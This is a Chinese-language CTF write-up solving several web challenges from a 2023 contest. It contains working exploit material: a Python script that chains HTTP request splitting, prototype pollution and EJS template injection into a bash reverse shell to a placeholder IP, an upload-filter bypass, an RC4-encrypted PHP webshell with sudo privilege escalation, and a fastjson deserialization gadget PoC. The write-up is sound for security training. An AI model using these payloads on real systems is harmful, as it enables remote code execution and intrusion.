前言
这次比赛web题成功0解(悲),赛后看别人的wp的时候发现还是有几道题是我能做的,比赛时还是被没见过的语言框架和题目提示给唬住了,所以说以后看见不认识的语言框架还是多花点去看看,指不准就有思路了呢(笑)
参考:
https://www.viewofthai.link/2023/02/05/%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%912023-web-wp-%E4%B8%80/
部分附件:https://github.com/CTF-Archives/CTF_Archive_CN/releases/tag/2022-xhlj
Node Magical Login
nodejs代码审计
主界面
一个nodejs登录界面
源码附件
main.js
const express = require("express")
const fs = require("fs")
const cookieParser = require("cookie-parser");
const controller = require("./controller")
const app = express();
const PORT = Number(process.env.PORT) || 80
const HOST = '0.0.0.0'
app.use(express.urlencoded({extended:false}))
app.use(cookieParser())
app.use(express.json())
app.use(express.static('static'))
app.post("/login",(req,res) => {
controller.LoginController(req,res)
})
app.get("/",(res) => {
res.sendFile(__dirname,"static/index.html")
})
app.get("/flag1",(req,res) => {
controller.Flag1Controller(req,res)
})
app.get("/flag2",(req,res) => {
controller.CheckInternalController(req,res)
})
app.post("/getflag2",(req,res)=> {
controller.CheckController(req,res)
})
app.listen(PORT,HOST,() => {
console.log(`Server is listening on Host ${HOST} Port ${PORT}.`)
})
controller.js
const fs = require("fs");
const SECRET_COOKIE = process.env.SECRET_COOKIE || "this_is_testing_cookie"
const flag1 = fs.readFileSync("/flag1")
const flag2 = fs.readFileSync("/flag2")
function LoginController(req,res) {
try {
const username = req.body.username
const password = req.body.password
if (username !== "admin" || password !== Math.random().toString()) {
res.status(401).type("text/html").send("Login Failed")
} else {
res.cookie("user",SECRET_COOKIE)
res.redirect("/flag1")
}
} catch (__) {}
}
function CheckInternalController(req,res) {
res.sendFile("check.html",{root:"static"})
}
function CheckController(req,res) {
let checkcode = req.body.checkcode?req.body.checkcode:1234;
console.log(req.body)
if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()//被转成小写,但是这个处理不了数组格式
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}else{
res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
}
}
function Flag1Controller(req,res){
try {
if(req.cookies.user === SECRET_COOKIE){
res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
res.status(200).type("text/html").send("Login success. Welcome,admin!")
}
if(req.cookies.user === "admin") {
res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
}else{
res.status(401).type("text/html").send("Unauthorized")
}
}catch (__) {}
}
module.exports = {
LoginController,
CheckInternalController,
Flag1Controller,
CheckController
}
分析
先看获取flag的条件
app.get("/flag1",(req,res) => { controller.Flag1Controller(req,res) }) app.get("/flag2",(req,res) => { controller.CheckInternalController(req,res) }) app.post("/getflag2",(req,res)=> { controller.CheckController(req,res) })
main.js指向controller.js中的几个方法
function LoginController(req,res) { try { const username = req.body.username const password = req.body.password if (username !== "admin" || password !== Math.random().toString()) { res.status(401).type("text/html").send("Login Failed") } else { res.cookie("user",SECRET_COOKIE) res.redirect("/flag1") } } catch (__) {} } ------------------------------------------------ function Flag1Controller(req,res){ try { if(req.cookies.user === SECRET_COOKIE){ res.setHeader("This_Is_The_Flag1",flag1.toString().trim()) res.setHeader("This_Is_The_Flag2",flag2.toString().trim()) res.status(200).type("text/html").send("Login success. Welcome,admin!") } if(req.cookies.user === "admin") { res.setHeader("This_Is_The_Flag1", flag1.toString().trim()) //cookie相等可以输出flag1 res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!") }else{ res.status(401).type("text/html").send("Unauthorized") } }catch (__) {} }
获取flag有两种方法:
一种是输入正确的username和password,但是密码是随机生成的
另一种是使
user
的cookie相等function CheckInternalController(req,res) { res.sendFile("check.html",{root:"static"}) } function CheckController(req,res) { let checkcode = req.body.checkcode?req.body.checkcode:1234; console.log(req.body) if(checkcode.length === 16){ //传入长度需为16 try{ checkcode = checkcode.toLowerCase()//被转成小写,但是这个处理不了数组格式 if(checkcode !== "aGr5AtSp55dRacer"){ res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode}) } }catch (__) {} res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()}) //输出flag2 }else{ //长度不足16会跳转至此 res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode}) } }
此处需满足
checkcode
==aGr5AtSp55dRacer且长度为16即可获取flag2
思路
在/flag1传入
cookie=admin
获取flag1toLowerCase()
此函数会将字符串转成小写形式,但是不能处理数组格式,因此传参选择传入json数组格式且重复16遍在/getflag2中使用POST请求
操作
可获取flag1
可获取flag2(记得把content-type改成json)
其他解
常规数组解法:传数组时拆成16个字符
如
{"checkcode":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15]}
使try语句报错
{"checkcode":{"length":16}} ------------------------------- checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1
real_ez_node
safe-obj污染 + http拆分攻击 + ejs rce
源码,审一下
app.js
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var fs = require('fs');
const lodash = require('lodash')
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var index = require('./routes/index');
var bodyParser = require('body-parser');//解析,用req.body获取post参数
var app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({extended: false}));
app.use(cookieParser());
app.use(session({
secret : 'secret', // 对session id 相关的cookie 进行签名
resave : true,
saveUninitialized: false, // 是否保存未初始化的会话
cookie : {
maxAge : 1000 * 60 * 3, // 设置 session 的有效时间,单位毫秒
},
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
// app.engine('ejs', function (filePath, options, callback) { // 设置使用 ejs 模板引擎
// fs.readFile(filePath, (err, content) => {
// if (err) return callback(new Error(err))
// let compiled = lodash.template(content) // 使用 lodash.template 创建一个预编译模板方法供后面使用
// let rendered = compiled()
// return callback(null, rendered)
// })
// });
app.use(logger('dev'));
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', index);
// app.use('/challenge7', challenge7);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});
// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};
// render the error page
res.status(err.status || 500);
res.render('error');
});
module.exports = app;
唯一有价值的就是用ejs渲染引擎加载页面,下一个
index.js
var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
if (req.query.q) {
console.log('get q');
}
res.render('index');
})
router.post('/copy',(req,res)=>{
res.setHeader('Content-type','text/html;charset=utf-8')
var ip = req.connection.remoteAddress;
console.log(ip);
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only for admin"
res.send(JSON.stringify(obj));
return
}
let user = {};
for (let index in req.body) {
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
}
res.render('index');
})
router.get('/curl', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:3000/?q=' + q
try {
http.get(url,(res1)=>{
const { statusCode } = res1;
const contentType = res1.headers['content-type'];
let error;
// 任何 2xx 状态码都表示成功响应,但这里只检查 200。
if (statusCode !== 200) {
error = new Error('Request Failed.\n' +
`Status Code: ${statusCode}`);
}
if (error) {
console.error(error.message);
// 消费响应数据以释放内存
res1.resume();
return;
}
res1.setEncoding('utf8');
let rawData = '';
res1.on('data', (chunk) => { rawData += chunk;
res.end('request success') });
res1.on('end', () => {
try {
const parsedData = JSON.parse(rawData);
res.end(parsedData+'');
} catch (e) {
res.end(e.message+'');
}
});
}).on('error', (e) => {
res.end(`Got error: ${e.message}`);
})
res.end('ok');
} catch (error) {
res.end(error+'');
}
} else {
res.send("search param 'q' missing!");
}
})
module.exports = router;
分析
先看/copy
路由
router.post('/copy',(req,res)=>{
res.setHeader('Content-type','text/html;charset=utf-8')
var ip = req.connection.remoteAddress;
console.log(ip);
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only for admin"
res.send(JSON.stringify(obj));
return
}
let user = {};
for (let index in req.body) {
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
}
res.render('index');
})
这个路由只允许ip为127.0.0.1进行操作
一眼看到safe-obj原型链污染,过滤了__proto__
,可以用constructor.prototype
绕过
接下来看/curl
路由
router.get('/curl', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:3000/?q=' + q
try {
http.get(url,(res1)=>{
const { statusCode } = res1;
const contentType = res1.headers['content-type'];
let error;
// 任何 2xx 状态码都表示成功响应,但这里只检查 200。
if (statusCode !== 200) {
error = new Error('Request Failed.\n' +
`Status Code: ${statusCode}`);
}
if (error) {
console.error(error.message);
// 消费响应数据以释放内存
res1.resume();
return;
}
res1.setEncoding('utf8');
let rawData = '';
res1.on('data', (chunk) => { rawData += chunk;
res.end('request success') });
res1.on('end', () => {
try {
const parsedData = JSON.parse(rawData);
res.end(parsedData+'');
} catch (e) {
res.end(e.message+'');
}
});
}).on('error', (e) => {
res.end(`Got error: ${e.message}`);
})
res.end('ok');
} catch (error) {
res.end(error+'');
}
} else {
res.send("search param 'q' missing!");
}
})
有http.get
向http://localhost:3000
传参数q的操作
那么应该是要http请求拆分进行SSRF
综合一下就是利用http请求拆分进行SSRF打safe-obj原型链污染
剩下的就是找一个能利用原型链污染读文件或者RCE的地方,源码翻了翻没有,猜测问题出在依赖上
看一眼package.json
{
"name": "hello-world",
"version": "0.0.0",
"private": true,
"scripts": {
"start": "node ./bin/www"
},
"dependencies": {
"cookie-parser": "~1.4.4",
"debug": "~2.6.9",
"ejs": "^3.0.1",
"express": "~4.16.1",
"express-session": "^1.17.3",
"http-errors": "~1.6.3",
"jade": "^1.11.0",
"jsonwebtoken": "^8.5.1",
"lodash": "^4.2.1",
"md5": "^2.3.0",
"mongodb": "^4.10.0",
"morgan": "~1.9.1",
"mysql": "^2.18.1",
"node-serialize": "^0.0.4",
"pug": "2.0.0-beta11",
"safe-obj": "^1.0.2"
}
}
发现ejs版本3.0.1,而app.js中设置了渲染引擎为ejs
那么就有ejs rce可以打
exp
# coding=utf-8
import requests
import urllib
from urllib import parse
txt = '''1 HTTP/1.1
Host: 127.0.0.1:3000
POST /copy HTTP/1.1
Host: 127.0.0.1:3000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=admin
Connection: close
Content-Type: application/json
Content-Length: 192
{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('/bin/bash -c \\"/bin/bash -i >&/dev/tcp/xxx.xxx.xxx.xxx/57746 0>&1\\"');var __tmp2"}
GET /aaa'''
txt = txt.replace(' ','\u0120').replace('\n','\u010d\u010a').replace('{','\u017b').replace('}','\u017d').replace('"','\u0122').replace('\'','\u0127').replace('>','\u013e').replace('\\','\u015c')
#URL编码
new_txt = urllib.parse.quote(txt)
print(new_txt)
把生成的payload传到/curl?q=
即可弹shell
扭转乾坤(记录)
原文链接:https://xz.aliyun.com/t/12128
这题附件给的太奇怪了,zip里面一个pdf
不过还是看提示
在实际产品场景中常见存在多种中间件的情况,这时如果存在某种拦截,可以利用框架或者中间件对于RFC标准中实现差异进行绕过。注意查看80端口服务
直接上传的话,提示
Sorry,Apache maybe refuse header equals Content-Type: multipart/form-data;.
于是要在 Content-Type: multipart/form-data
上做文章
参考 https://www.anquanke.com/post/id/241265
利用 RFC 差异来绕过,加个引号就过了
POST /ctf/hello-servlet HTTP/1.1
Host: 1.14.65.100
Content-Length: 3246
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://1.14.65.100
Content-Type: multipart/"form-data"; boundary=----WebKitFormBoundary3oAve6BcRBg213uo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://1.14.65.100/ctf
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundary3oAve6BcRBg213uo
Content-Disposition: form-data; name="uploadfile"; filename="bypass.jsp"
Content-Type: application/octet-stream
miaotony
------WebKitFormBoundary3oAve6BcRBg213uo--
赛后又试了试,貌似只需要不出现完整的 multipart/form-data
就能过,但是必须有 multipart/
unusual php(记录)
原文链接:https://xz.aliyun.com/t/12128
<?php
if($_GET["a"]=="upload"){
move_uploaded_file($_FILES['file']["tmp_name"], "upload/".$_FILES['file']["name"]);
}elseif ($_GET["a"]=="read") {
echo file_get_contents($_GET["file"]);
}elseif ($_GET["a"]=="version") {
phpinfo();
}
读 /index.php
发现是一团乱码,盲猜用了啥解析引擎之类的东西
插件目录 /usr/local/lib/php/extensions/no-debug-non-zts-20190902
读 /usr/local/lib/php.ini
得到扩展路径
curl "http://80.endpoint-e3b2218dc1d446008a7cacc77c3d9bee.ins.cloud.dasctf.com:81/index.php?a=read&file=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so" > zend_test.so
读回来然后把无关的去掉,再丢进 ida
看起来解析的时候用 abcsdfadfjiweur
作为 key 然后 RC4 解密然后当成 php 去执行
把拿下来的 index.php 看看
于是我们传个 RC4 加密后的一句话马上去就好
base64 decode (或者 output format 选 latin1 然后 save 到文件也行)
然后整个表单 multipart/form-data 传上去
<form action="/?a=upload" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
然后访问
/upload/miaotony.php?miaotony=system('ls -al /');
然后 /etc/sudoers
不可读,但是有个 sudoers.bak
当前的 www-data 用户可以免密执行 chmod,那直接
sudo chmod 777 /flag
cat /flag
easy_api(待复现)
fastjson反序列化
poc:
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
public class fj_gadget {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\CTF\\Security_Learning\\ROME\\target\\classes\\shell.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
JSONObject jo = new JSONObject();
jo.put("1",templatesimpl);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jo);
// HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object());
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);
Class clazz=h2.getClass();
Field transformerdeclaredField = clazz.getDeclaredField("target");
transformerdeclaredField.setAccessible(true);
transformerdeclaredField.set(h2,new XString("xxx"));
System.out.println(serial(hashMap));
String payload = "...";
// deserial(payload);
}
public static String serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
CustomObjectInputStream ois = new CustomObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}